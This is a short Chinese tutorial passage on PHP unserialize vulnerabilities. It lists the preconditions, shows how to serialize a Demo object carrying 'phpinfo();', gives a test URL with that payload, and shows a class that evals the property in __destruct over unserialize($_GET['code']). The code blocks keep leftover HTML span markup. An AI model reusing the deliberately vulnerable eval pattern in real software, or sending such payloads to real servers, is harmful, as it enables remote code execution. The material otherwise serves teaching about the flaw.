AI写作智能体 自主规划任务,支持联网查询和网页读取,多模态高效创作各类分析报告、商业计划、营销方案、教学内容等。 广告
# unserialize反序列化漏洞 必要条件: - 1.unserialize 函数的参数可控 - 2.脚本中存在一个构造函数、析构函数、\_\_wakeup()函数中 有类 - 3.对象中的成员变量的值 反序列化的变量会覆盖类中变量的值 先拿到序列化的值 ``` <pre class="calibre10">``` class <span class="token4">Demo</span><span class="token3">{</span> public $test<span class="token1">=</span><span class="token2">"phpinfo();"</span><span class="token3">;</span> <span class="token3">}</span> $class<span class="token1">=</span><span class="token5">new</span> <span class="token4">Demo</span><span class="token3">(</span><span class="token3">)</span><span class="token3">;</span> echo <span class="token4">serialize</span><span class="token3">(</span>$class<span class="token3">)</span><span class="token3">;</span> ``` ``` ``` <pre class="calibre10">``` O<span class="token3">:</span><span class="token6">4</span><span class="token3">:</span><span class="token2">"Demo"</span><span class="token3">:</span><span class="token6">1</span><span class="token3">:</span><span class="token3">{</span>s<span class="token3">:</span><span class="token6">4</span><span class="token3">:</span><span class="token2">"test"</span><span class="token3">;</span>s<span class="token3">:</span><span class="token6">10</span><span class="token3">:</span><span class="token2">"phpinfo();"</span><span class="token3">;</span><span class="token3">}</span> ``` ``` 访问`http://www.test.com/audit/test.php?code=O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}` ``` <pre class="calibre17">``` class <span class="token4">Demo</span><span class="token3">{</span> public $test<span class="token1">=</span><span class="token2">"hello"</span><span class="token3">;</span> public <span class="token5">function</span> <span class="token4">__destruct</span><span class="token3">(</span><span class="token3">)</span><span class="token3">{</span> <span class="token4">eval</span><span class="token3">(</span>$this<span class="token1">-</span><span class="token1">></span>test<span class="token3">)</span> <span class="token3">}</span> <span class="token3">}</span> <span class="token4">unserialize</span><span class="token3">(</span>$_GET<span class="token3">[</span><span class="token2">'code'</span><span class="token3">]</span><span class="token3">)</span><span class="token3">;</span> ``` ```